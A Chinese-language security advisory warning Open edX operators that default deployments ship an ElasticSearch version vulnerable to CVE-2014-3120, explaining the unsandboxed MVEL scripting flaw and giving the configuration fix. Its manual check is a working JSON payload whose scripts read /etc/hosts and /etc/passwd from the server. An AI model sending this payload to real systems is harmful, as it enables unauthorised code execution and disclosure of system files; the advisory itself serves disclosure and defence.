请各位edx用户 注意CVE: CVE-2014-3120
edx默认会安装含有漏洞的版本(main.yml#L6),官方虽然意识到了这个漏洞 (elasticsearch.yml.j2#L19),并且尝试修复了 但是只在集群安装时(main.yml#L65)才会用到他们的防御代码,所以如果各位使用configuration部署Open edX,将会是安装的含有漏洞的版本,受影响edX版本可追溯到去年(2013)9月
原理
这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。
ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。
而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。
检测方法
在线检测:
http://tool.scanv.com/es.html 可以检测任意地址
http://bouk.co/blog/elasticsearch-rce/poc.html 只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上
自己手动检测:
{
“size”: 1,
“query”: {
“filtered”: {
“query”: {
“match_all”: {}
}
}
},
“script_fields”: {
“/etc/hosts”: {
“script”: “import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\”/etc/hosts\”)).useDelimiter(\”\\\\Z\”).next();”
},
“/etc/passwd”: {
“script”: “import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\”/etc/passwd\”)).useDelimiter(\”\\\\Z\”).next();”
}
}
}
‘
处理办法
关掉执行脚本功能,在配置文件/etc/elasticsearch/elasticsearch.yml里为每一个结点都加上:
1 |
script.disable_dynamic: true |
然后重启服务:
1 |
sudo service elasticsearch restart |
参见:
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts
官方会在1.2版本默认关闭动态脚本
参见:
https://github.com/elasticsearch/elasticsearch/issues/5853
参考:
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html
http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html
http://bouk.co/blog/elasticsearch-rce/
发表评论